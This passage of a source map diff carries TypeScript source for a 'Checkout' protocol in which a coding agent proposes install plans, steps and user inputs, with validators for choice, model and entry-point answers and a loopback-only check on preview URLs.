Checkout.EntryPointOption[] = [];\n  for (const candidate of value) {\n    if (typeof candidate !== \"object\" || candidate === null) return undefined;\n    const { id, label, description, entryPoint, variants } =\n      candidate as Record<string, unknown>;\n    if (\n      typeof id !== \"string\" ||\n      !/^[a-zA-Z0-9][a-zA-Z0-9._-]{0,63}$/.test(id) ||\n      options.some((option) => option.id === id) ||\n      !isEntryPointText(label, 160) ||\n      !isEntryPointText(description, 1000) ||\n      variants !== undefined ||\n      typeof entryPoint !== \"object\" ||\n      entryPoint === null\n    )\n      return undefined;\n    const { formFactor, placement, trigger, recommended } =\n      entryPoint as Record<string, unknown>;\n    if (\n      (formFactor !== \"modal\" &&\n        formFactor !== \"sidebar\" &&\n        formFactor !== \"full-page\") ||\n      !isEntryPointText(placement, 400) ||\n      !isEntryPointText(trigger, 400) ||\n      (recommended !== undefined && typeof recommended !== \"boolean\")\n    )\n      return undefined;\n    options.push({\n      id,\n      label,\n      description,\n      entryPoint: {\n        formFactor,\n        placement,\n        trigger,\n        ...(recommended !== undefined && { recommended }),\n      },\n    });\n  }\n  return options.filter((option) => option.entryPoint.recommended).length <= 1\n    ? options\n    : undefined;\n};\n\nexport const isValidEntryPointInput = (input: Checkout.InputSeed) => {\n  const options = parseEntryPointOptions(input.options);\n  return (\n    input.kind === \"entry-point\" &&\n    isEntryPointText(input.prompt, 1000) &&\n    options !== undefined &&\n    input.multiple === undefined &&\n    input.help === undefined &&\n    (input.default === undefined ||\n      options.some((option) => option.id === input.default))\n  );\n};\n\nexport const isValidEntryPointAnswer = (\n  input: Checkout.Input,\n  answer: string,\n) => input.options?.some((option) => option.id === answer) ?? false;\n\nconst REASONING_EFFORTS = new Set([\"low\", \"medium\", \"high\"]);\n\nconst isReasoningEffort = (\n  value: unknown,\n): value is NonNullable<Checkout.ModelAnswer[\"reasoningEffort\"]> =>\n  typeof value === \"string\" && REASONING_EFFORTS.has(value);\n\n/** The model answer an input holds, or `undefined` when the text is not one. */\nexport const parseModelAnswer = (\n  answer: string,\n): Checkout.ModelAnswer | undefined => {\n  let value: unknown;\n  try {\n    value = JSON.parse(answer);\n  } catch {\n    return undefined;\n  }\n  if (typeof value !== \"object\" || value === null) return undefined;\n  const { provider, model, reasoningEffort } = value as Record<string, unknown>;\n  if (\n    typeof provider !== \"string\" ||\n    typeof model !== \"string\" ||\n    provider === \"\" ||\n    model === \"\"\n  ) {\n    return undefined;\n  }\n  if (reasoningEffort === undefined) return { provider, model };\n  if (!isReasoningEffort(reasoningEffort)) return undefined;\n  return { provider, model, reasoningEffort };\n};\n\n/** Whether `answer` is a model answer naming one of the input's providers. */\nexport const isValidModelAnswer = (input: Checkout.Input, answer: string) => {\n  const parsed = parseModelAnswer(answer);\n  return (\n    parsed !== undefined &&\n    (input.options?.some((option) => option.id === parsed.provider) ?? false)\n  );\n};\n\nexport const stepProgress = (state: Checkout.State) => ({\n  total: state.steps.length,\n  done: state.steps.filter(\n    (step) => step.status === \"done\" || step.status === \"skipped\",\n  ).length,\n});\n"],"mappings":"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"}
+{"version":3,"file":"protocol.js","names":[],"sources":["../src/protocol.ts"],"sourcesContent":["export namespace Checkout {\n  export type StepStatus =\n    | \"pending\"\n    | \"active\"\n    | \"done\"\n    | \"skipped\"\n    | \"blocked\";\n\n  /** A unit of install work the agent declared; the catalog seeds none. */\n  export type Step = {\n    id: string;\n    title: string;\n    detail?: string;\n    status: StepStatus;\n    note?: string;\n    /** The product this step belongs to, when the agent said. */\n    product?: string;\n    createdAt: number;\n  };\n\n  export type Product = {\n    slug: string;\n    name: string;\n    /** The install reference the agent fetches while planning. */\n    guide?: string;\n  };\n\n  export type InputStatus = \"open\" | \"answered\" | \"dismissed\";\n\n  /**\n   * product: the agent proposes adding a product to this checkout, such as one\n   * another product depends on. The browser owns the catalog, so it answers\n   * with `checkout/add-product`; dismissing the input declines.\n   */\n  export type InputKind =\n    | \"text\"\n    | \"choice\"\n    | \"model\"\n    | \"product\"\n    | \"entry-point\";\n\n  export type EntryPoint = {\n    formFactor: \"modal\" | \"sidebar\" | \"full-page\";\n    placement: string;\n    trigger: string;\n    recommended?: boolean;\n  };\n\n  export type EntryPointOption = {\n    id: string;\n    label: string;\n    description: string;\n    entryPoint: EntryPoint;\n  };\n\n  export type ChoiceVariant = { id: string; label: string };\n\n  export type ChoiceOption = {\n    id: string;\n    label: string;\n    description?: string;\n    /** A name from OPTION_ICONS, or the key of a brand mark on a preset option; unknown keys render without one. */\n    icon?: string;\n    /** A second pick under this option, such as the language of a framework. */\n    variants?: ChoiceVariant[];\n    entryPoint?: EntryPoint;\n  };\n\n  /** A short nudge for users who need help choosing, with a longer guide to link to. */\n  export type InputHelp = { summary: string; href?: string };\n\n  /**\n   * The answer to a model input, stored as JSON text. The API key itself is\n   * never part of it: the browser deposits it with the checkout and the\n   * agent's `env` command writes it straight to a file.\n   */\n  export type ModelAnswer = {\n    provider: string;\n    model: string;\n    reasoningEffort?: \"low\" | \"medium\" | \"high\";\n  };\n\n  /**\n   * A choice answer is an option id, `<option>:<variant>` when the option has\n   * variants, or the user's own text when none of the options fit; a multiple\n   * choice answers a JSON array of those. A model answer is a JSON-encoded\n   * ModelAnswer whose provider is one of the options.\n   */\n  export type Input = {\n    phase: Status;\n    id: string;\n    kind: InputKind;\n    /** The standard input this was built from, when it was. */\n    preset?: string;\n    prompt: string;\n    placeholder?: string;\n    options?: ChoiceOption[];\n    /** The user may pick any number of options; the answer is a JSON array. */\n    multiple?: true;\n    /** The slug a product input proposes. */\n    product?: string;\n    default?: string;\n    help?: InputHelp;\n    redeemKeyHash?: string;\n    optional: boolean;\n    status: InputStatus;\n    answer?: string;\n    /** A remark the user attached to the answer. */\n    note?: string;\n    stepId?: string;\n    createdAt: number;\n    answeredAt?: number;\n  };\n\n  export type LogEntry = {\n    phase: Status;\n    id: string;\n    role: \"agent\" | \"user\";\n    acknowledgedAt?: number;\n    at: number;\n    text: string;\n    /** The step that was active when the line was posted; none while planning. */\n    stepId?: string;\n  };\n\n  export type PlanStatus = \"proposed\" | \"approved\" | \"changes-requested\";\n\n  /** One revision of the agent's plan. Markdown the browser renders. */\n  export type Plan = {\n    revision: number;\n    markdown: string;\n    status: PlanStatus;\n    submittedAt: number;\n    decidedAt?: number;\n    /** What the user asked to change, when they did. */\n    feedback?: string;\n  };\n\n  /**\n   * waiting: no agent has joined. planning: the agent investigates and\n   * proposes a plan. installing: the plan is approved and steps run.\n   */\n  export type Status =\n    | \"waiting\"\n    | \"planning\"\n    | \"installing\"\n    | \"done\"\n    | \"cancelled\";\n\n  /**\n   * The agent's proposal to close the checkout. Only the user closes it, and\n   * they may keep messaging the agent instead; a later `done` renews it.\n   * `preview` is the loopback URL of a dev server the agent left running for\n   * the user to try before they close.\n   */\n  export type Completion = { proposedAt: number; preview?: string };\n\n  export type State = {\n    version: 2;\n    /** The id the browser gave the current checkout; a create with another id replaces it on the same link. */\n    id: string | null;\n    status: Status;\n    completion?: Completion;\n    createdAt: number | null;\n    products: Product[];\n    instructions: string;\n    agent: {\n      lastSeenAt: number | null;\n      /** False once the agent's stream said goodbye; heartbeats set it again. */\n      connected: boolean;\n      cwd: string | null;\n      /** The coding agent that ran the command, as the CLI detected it from its environment. */\n      kind: string | null;\n      /** When the command was first run against this checkout, before the agent joined the stream. */\n      introducedAt: number | null;\n    };\n    /** Every revision in order; the last one is current. */\n    plans: Plan[];\n    steps: Step[];\n    inputs: Input[];\n    log: LogEntry[];\n  };\n\n  export type ProductSeed = { slug: string; name: string; guide?: string };\n\n  export type InputSeed = {\n    kind?: InputKind;\n    preset?: string;\n    prompt: string;\n    placeholder?: string;\n    options?: ChoiceOption[];\n    multiple?: true;\n    product?: string;\n    default?: string;\n    help?: InputHelp;\n    redeemKeyHash?: string;\n    optional?: boolean;\n  };\n\n  export type PlanDecision = {\n    /** The setup the browser reviewed; omitted by legacy clients. */\n    id?: string;\n    /** The plan revision the browser reviewed; omitted by legacy clients. */\n    revision?: number;\n  } & ({ decision: \"approve\" } | { decision: \"revise\"; feedback: string });\n\n  export type Commands = {\n    \"checkout/create\": (params: {\n      id: string;\n      products: ProductSeed[];\n      instructions?: string;\n    }) => void;\n    \"checkout/begin-plan\": () => void;\n    \"checkout/answer\": (params: {\n      inputId: string;\n      answer: string;\n      note?: string;\n    }) => void;\n    \"checkout/add-product\": (params: {\n      inputId: string;\n      product: ProductSeed;\n    }) => void;\n    \"checkout/message\": (params: { text: string }) => void;\n    \"agent/ack\": (params: { messageId: string }) => void;\n    \"checkout/dismiss\": (params: { inputId: string }) => void;\n    \"checkout/plan\": (params: PlanDecision) => void;\n    /** A cancel that names another checkout than the current one is a no-op. */\n    \"checkout/cancel\": (params?: { id?: string }) => void;\n    \"checkout/finish\": () => void;\n    \"agent/intro\": (params: { kind?: string }) => void;\n    \"agent/hello\": (params: { cwd?: string; kind?: string }) => void;\n    \"agent/heartbeat\": () => void;\n    \"agent/bye\": () => void;\n    \"agent/plan\": (params: { markdown: string }) => { revision: number };\n    \"agent/add-step\": (params: {\n      title: string;\n      detail?: string;\n      product?: string;\n      /** Start the step in the same call. */\n      active?: boolean;\n    }) => { stepId: string };\n    \"agent/step\": (params: {\n      stepId: string;\n      status: StepStatus;\n      note?: string;\n    }) => void;\n    \"agent/ask\": (params: InputSeed & { stepId?: string }) => {\n      inputId: string;\n    };\n    \"agent/log\": (params: { text: string }) => void;\n    \"agent/done\": (params?: { summary?: string; preview?: string }) => void;\n  };\n\n  export type RejectionReason =\n    | \"already-created\"\n    | \"not-created\"\n    | \"closed\"\n    | \"planning-not-started\"\n    | \"plan-required\"\n    | \"no-plan\"\n    | \"plan-decided\"\n    | \"stale-plan\"\n    | \"finish-not-proposed\"\n    | \"feedback-required\"\n    | \"empty-plan\"\n    | \"unknown-step\"\n    | \"unknown-product\"\n    | \"unknown-input\"\n    | \"input-closed\"\n    | \"invalid-input\"\n    | \"invalid-answer\"\n    | \"invalid-preview\"\n    | \"empty-message\"\n    | \"unknown-message\";\n}\n\nexport const AGENT_PRESENCE_MS = 15_000;\nexport const AGENT_HEARTBEAT_MS = 5_000;\n\nexport const initialCheckoutState = (): Checkout.State => ({\n  version: 2,\n  id: null,\n  status: \"waiting\",\n  createdAt: null,\n  products: [],\n  instructions: \"\",\n  agent: {\n    lastSeenAt: null,\n    connected: false,\n    cwd: null,\n    kind: null,\n    introducedAt: null,\n  },\n  plans: [],\n  steps: [],\n  inputs: [],\n  log: [],\n});\n\nexport const isAgentPresent = (state: Checkout.State, now = Date.now()) =>\n  state.agent.connected &&\n  state.agent.lastSeenAt !== null &&\n  now - state.agent.lastSeenAt < AGENT_PRESENCE_MS;\n\nexport const isClosed = (state: Checkout.State) =>\n  state.status === \"done\" || state.status === \"cancelled\";\n\n/** True while the agent's proposal to close waits for the user. */\nexport const finishProposed = (state: Checkout.State) =>\n  !isClosed(state) && state.completion !== undefined;\n\n/** True while a message the user sent after the agent proposed to close still waits for the agent. */\nexport const followedUpSinceProposal = (state: Checkout.State) => {\n  const proposedAt = state.completion?.proposedAt;\n  return (\n    proposedAt !== undefined &&\n    state.log.some(\n      (entry) =>\n        entry.role === \"user\" &&\n        entry.at > proposedAt &&\n        entry.acknowledgedAt === undefined,\n    )\n  );\n};\n\nconst LOOPBACK_HOSTS = new Set([\"localhost\", \"127.0.0.1\", \"[::1]\"]);\n\n/**\n * The URL a preview names, or `undefined` unless it is an http(s) URL on this\n * machine's loopback interface. The browser opens it, so nothing else passes.\n */\nexport const parsePreviewUrl = (value: string | undefined) => {\n  if (!value) return undefined;\n  let url: URL;\n  try {\n    url = new URL(value);\n  } catch {\n    return undefined;\n  }\n  if (url.protocol !== \"http:\" && url.protocol !== \"https:\") return undefined;\n  if (url.username !== \"\" || url.password !== \"\") return undefined;\n  return isLoopbackHostname(url.hostname) ? url : undefined;\n};\n\n/** True for a hostname that names this machine. */\nexport const isLoopbackHostname = (hostname: string) =>\n  LOOPBACK_HOSTS.has(hostname) || hostname.endsWith(\".localhost\");\n\nexport const openInputs = (state: Checkout.State) =>\n  state.inputs.filter((input) => input.status === \"open\");\n\n/** The current plan revision, or `undefined` before the agent proposed one. */\nexport const currentPlan = (state: Checkout.State): Checkout.Plan | undefined =>\n  state.plans.at(-1);\n\n/** True while a proposed plan waits for the user's decision. */\nexport const planNeedsReview = (state: Checkout.State) =>\n  !isClosed(state) && currentPlan(state)?.status === \"proposed\";\n\n/** The icons an agent can put on its own options, by name. */\nexport const OPTION_ICONS = [\n  \"code\",\n  \"terminal\",\n  \"braces\",\n  \"git-branch\",\n  \"package\",\n  \"database\",\n  \"server\",\n  \"cloud\",\n  \"globe\",\n  \"monitor\",\n  \"smartphone\",\n  \"key\",\n  \"lock\",\n  \"shield\",\n  \"brain\",\n  \"sparkles\",\n  \"bot\",\n  \"workflow\",\n  \"file\",\n  \"folder\",\n  \"book\",\n  \"table\",\n  \"image\",\n  \"video\",\n  \"mic\",\n  \"speech\",\n  \"paperclip\",\n  \"message\",\n  \"mail\",\n  \"bell\",\n  \"calendar\",\n  \"clock\",\n  \"user\",\n  \"users\",\n  \"settings\",\n  \"wrench\",\n  \"plug\",\n  \"link\",\n  \"palette\",\n  \"search\",\n  \"zap\",\n  \"check\",\n  \"question\",\n] as const;\n\nexport type OptionIcon = (typeof OPTION_ICONS)[number];\n\nexport const isOptionIcon = (value: string): value is OptionIcon =>\n  (OPTION_ICONS as readonly string[]).includes(value);\n\nexport const parseChoiceAnswer = (answer: string) => {\n  const parts = answer.split(\":\");\n  if (parts.length > 2) return { option: answer };\n  const [option = \"\", variant] = parts;\n  return { option, ...(variant !== undefined && { variant }) };\n};\n\n/** The entries of a multiple choice answer, or `undefined` when the text is not a JSON array of strings. */\nexport const parseMultipleAnswer = (answer: string): string[] | undefined => {\n  let value: unknown;\n  try {\n    value = JSON.parse(answer);\n  } catch {\n    return undefined;\n  }\n  return Array.isArray(value) &&\n    value.every((entry) => typeof entry === \"string\")\n    ? value\n    : undefined;\n};\n\ntype ChoiceAnswerKind = \"option\" | \"custom\" | \"invalid\";\n\nconst classifyChoiceEntry = (\n  input: Checkout.Input,\n  answer: string,\n): ChoiceAnswerKind => {\n  const { option, variant } = parseChoiceAnswer(answer);\n  const match = input.options?.find((candidate) => candidate.id === option);\n  if (!match) return answer.trim() === \"\" ? \"invalid\" : \"custom\";\n  if (!match.variants || match.variants.length === 0) {\n    return variant === undefined ? \"option\" : \"invalid\";\n  }\n  return match.variants.some((candidate) => candidate.id === variant)\n    ? \"option\"\n    : \"invalid\";\n};\n\n/**\n * \"option\" when `answer` names one of the input's options (with a variant\n * when the option has them), \"custom\" for the user's own text, \"invalid\"\n * for an option named without its variant or with an unknown one. A\n * multiple choice is classified entry by entry: \"invalid\" when any entry is\n * or the array is empty, \"custom\" when any entry is the user's own text.\n */\nexport const classifyChoiceAnswer = (\n  input: Checkout.Input,\n  answer: string,\n): ChoiceAnswerKind => {\n  if (!input.multiple) return classifyChoiceEntry(input, answer);\n  const entries = parseMultipleAnswer(answer);\n  if (!entries || entries.length === 0) return \"invalid\";\n  const kinds = entries.map((entry) => classifyChoiceEntry(input, entry));\n  if (kinds.includes(\"invalid\")) return \"invalid\";\n  return kinds.includes(\"custom\") ? \"custom\" : \"option\";\n};\n\nconst isEntryPointText = (value: unknown, max: number): value is string =>\n  typeof value === \"string\" && value.trim() !== \"\" && value.length <= max;\n\nexport const parseEntryPointOptions = (\n  value: unknown,\n): Checkout.EntryPointOption[] | undefined => {\n  if (!Array.isArray(value) || value.length < 1 || value.length > 3)\n    return undefined;\n  const options: Checkout.EntryPointOption[] = [];\n  for (const candidate of value) {\n    if (typeof candidate !== \"object\" || candidate === null) return undefined;\n    const { id, label, description, entryPoint, variants } =\n      candidate as Record<string, unknown>;\n    if (\n      typeof id !== \"string\" ||\n      !/^[a-zA-Z0-9][a-zA-Z0-9._-]{0,63}$/.test(id) ||\n      options.some((option) => option.id === id) ||\n      !isEntryPointText(label, 160) ||\n      !isEntryPointText(description, 1000) ||\n      variants !== undefined ||\n      typeof entryPoint !== \"object\" ||\n      entryPoint === null\n    )\n      return undefined;\n    const { formFactor, placement, trigger, recommended } =\n      entryPoint as Record<string, unknown>;\n    if (\n      (formFactor !== \"modal\" &&\n        formFactor !== \"sidebar\" &&\n        formFactor !== \"full-page\") ||\n      !isEntryPointText(placement, 400) ||\n      !isEntryPointText(trigger, 400) ||\n      (recommended !== undefined && typeof recommended !== \"boolean\")\n    )\n      return undefined;\n    options.push({\n      id,\n      label,\n      description,\n      entryPoint: {\n        formFactor,\n        placement,\n        trigger,\n        ...(recommended !== undefined && { recommended }),\n      },\n    });\n  }\n  return options.filter((option) => option.entryPoint.recommended).length <= 1\n    ? options\n    : undefined;\n};\n\nexport const isValidEntryPointInput = (input: Checkout.InputSeed) => {\n  const options = parseEntryPointOptions(input.options);\n  return (\n    input.kind === \"entry-point\" &&\n    isEntryPointText(input.prompt, 1000) &&\n    options !== undefined &&\n    input.multiple === undefined &&\n    input.help === undefined &&\n    (input.default === undefined ||\n      options.some((option) => option.id === input.default))\n  );\n};\n\nexport const isValidEntryPointAnswer = (\n  input: Checkout.Input,\n  answer: string,\n) => input.options?.some((option) => option.id === answer) ?? false;\n\nconst REASONING_EFFORTS = new Set([\"low\", \"medium\", \"high\"]);\n\nconst isReasoningEffort = (\n  value: unknown,\n): value is NonNullable<Checkout.ModelAnswer[\"reasoningEffort\"]> =>\n  typeof value === \"string\" && REASONING_EFFORTS.has(value);\n\n/** The model answer an input holds, or `undefined` when the text is not one. */\nexport const parseModelAnswer = (\n  answer: string,\n): Checkout.ModelAnswer | undefined => {\n  let value: unknown;\n  try {\n    value = JSON.parse(answer);\n  } catch {\n    return undefined;\n  }\n  if (typeof value !== \"object\" || value === null) return undefined;\n  const { provider, model, reasoningEffort } = value as Record<string, unknown>;\n  if (\n    typeof provider !== \"string\" ||\n    typeof model !== \"string\" ||\n    provider === \"\" ||\n    model === \"\"\n  ) {\n    return undefined;\n  }\n  if (reasoningEffort === undefined) return { provider, model };\n  if (!isReasoningEffort(reasoningEffort)) return undefined;\n  return { provider, model, reasoningEffort };\n};\n\n/** Whether `answer` is a model answer naming one of the input's providers. */\nexport const isValidModelAnswer = (input: Checkout.Input, answer: string) => {\n  const parsed = parseModelAnswer(answer);\n  return (\n    parsed !== undefined &&\n    (input.options?.some((option) => option.id === parsed.provider) ?? false)\n  );\n};\n\nexport const stepProgress = (state: Checkout.State) => ({\n  total: state.steps.length,\n  done: state.steps.filter(\n    (step) => step.status === \"done\" || step.status === \"skipped\",\n  ).length,\n});\n"],"mappings":";AAoRA,MAAa,oBAAoB;AACjC,MAAa,qBAAqB;AAElC,MAAa,8BAA8C;CACzD,SAAS;CACT,IAAI;CACJ,QAAQ;CACR,WAAW;CACX,UAAU,CAAC;CACX,cAAc;CACd,OAAO;EACL,YAAY;EACZ,WAAW;EACX,KAAK;EACL,MAAM;EACN,cAAc;CAChB;CACA,OAAO,CAAC;CACR,OAAO,CAAC;CACR,QAAQ,CAAC;CACT,KAAK,CAAC;AACR;AAEA,MAAa,kBAAkB,OAAuB,MAAM,KAAK,IAAI,MACnE,MAAM,MAAM,aACZ,MAAM,MAAM,eAAe,QAC3B,MAAM,MAAM,MAAM,aAAA;AAEpB,MAAa,YAAY,UACvB,MAAM,WAAW,UAAU,MAAM,WAAW;;AAG9C,MAAa,kBAAkB,UAC7B,CAAC,SAAS,KAAK,KAAK,MAAM,eAAe,KAAA;;AAG3C,MAAa,2BAA2B,UAA0B;CAChE,MAAM,aAAa,MAAM,YAAY;CACrC,OACE,eAAe,KAAA,KACf,MAAM,IAAI,MACP,UACC,MAAM,SAAS,UACf,MAAM,KAAK,cACX,MAAM,mBAAmB,KAAA,CAC7B;AAEJ;AAEA,MAAM,iCAAiB,IAAI,IAAI;CAAC;CAAa;CAAa;AAAO,CAAC;;;;;AAMlE,MAAa,mBAAmB,UAA8B;CAC5D,IAAI,CAAC,OAAO,OAAO,KAAA;CACnB,IAAI;CACJ,IAAI;EACF,MAAM,IAAI,IAAI,KAAK;CACrB,QAAQ;EACN;CACF;CACA,IAAI,IAAI,aAAa,WAAW,IAAI,aAAa,UAAU,OAAO,KAAA;CAClE,IAAI,IAAI,aAAa,MAAM,IAAI,aAAa,IAAI,OAAO,KAAA;CACvD,OAAO,mBAAmB,IAAI,QAAQ,IAAI,MAAM,KAAA;AAClD;;AAGA,MAAa,sBAAsB,aACjC,eAAe,IAAI,QAAQ,KAAK,SAAS,SAAS,YAAY;AAEhE,MAAa,cAAc,UACzB,MAAM,OAAO,QAAQ,UAAU,MAAM,WAAW,MAAM;;AAGxD,MAAa,eAAe,UAC1B,MAAM,MAAM,GAAG,EAAE;;AAGnB,MAAa,mBAAmB,UAC9B,CAAC,SAAS,KAAK,KAAK,YAAY,KAAK,CAAC,EAAE,WAAW;;AAGrD,MAAa,eAAe;CAC1B;CACA;CACA;CACA;CACA;CACA;CACA;CACA;CACA;CACA;CACA;CACA;CACA;CACA;CACA;CACA;CACA;CACA;CACA;CACA;CACA;CACA;CACA;CACA;CACA;CACA;CACA;CACA;CACA;CACA;CACA;CACA;CACA;CACA;CACA;CACA;CACA;CACA;CACA;CACA;CACA;CACA;CACA;AACF;AAIA,MAAa,gBAAgB,UAC1B,aAAmC,SAAS,KAAK;AAEpD,MAAa,qBAAqB,WAAmB;CACnD,MAAM,QAAQ,OAAO,MAAM,GAAG;CAC9B,IAAI,MAAM,SAAS,GAAG,OAAO,EAAE,QAAQ,OAAO;CAC9C,MA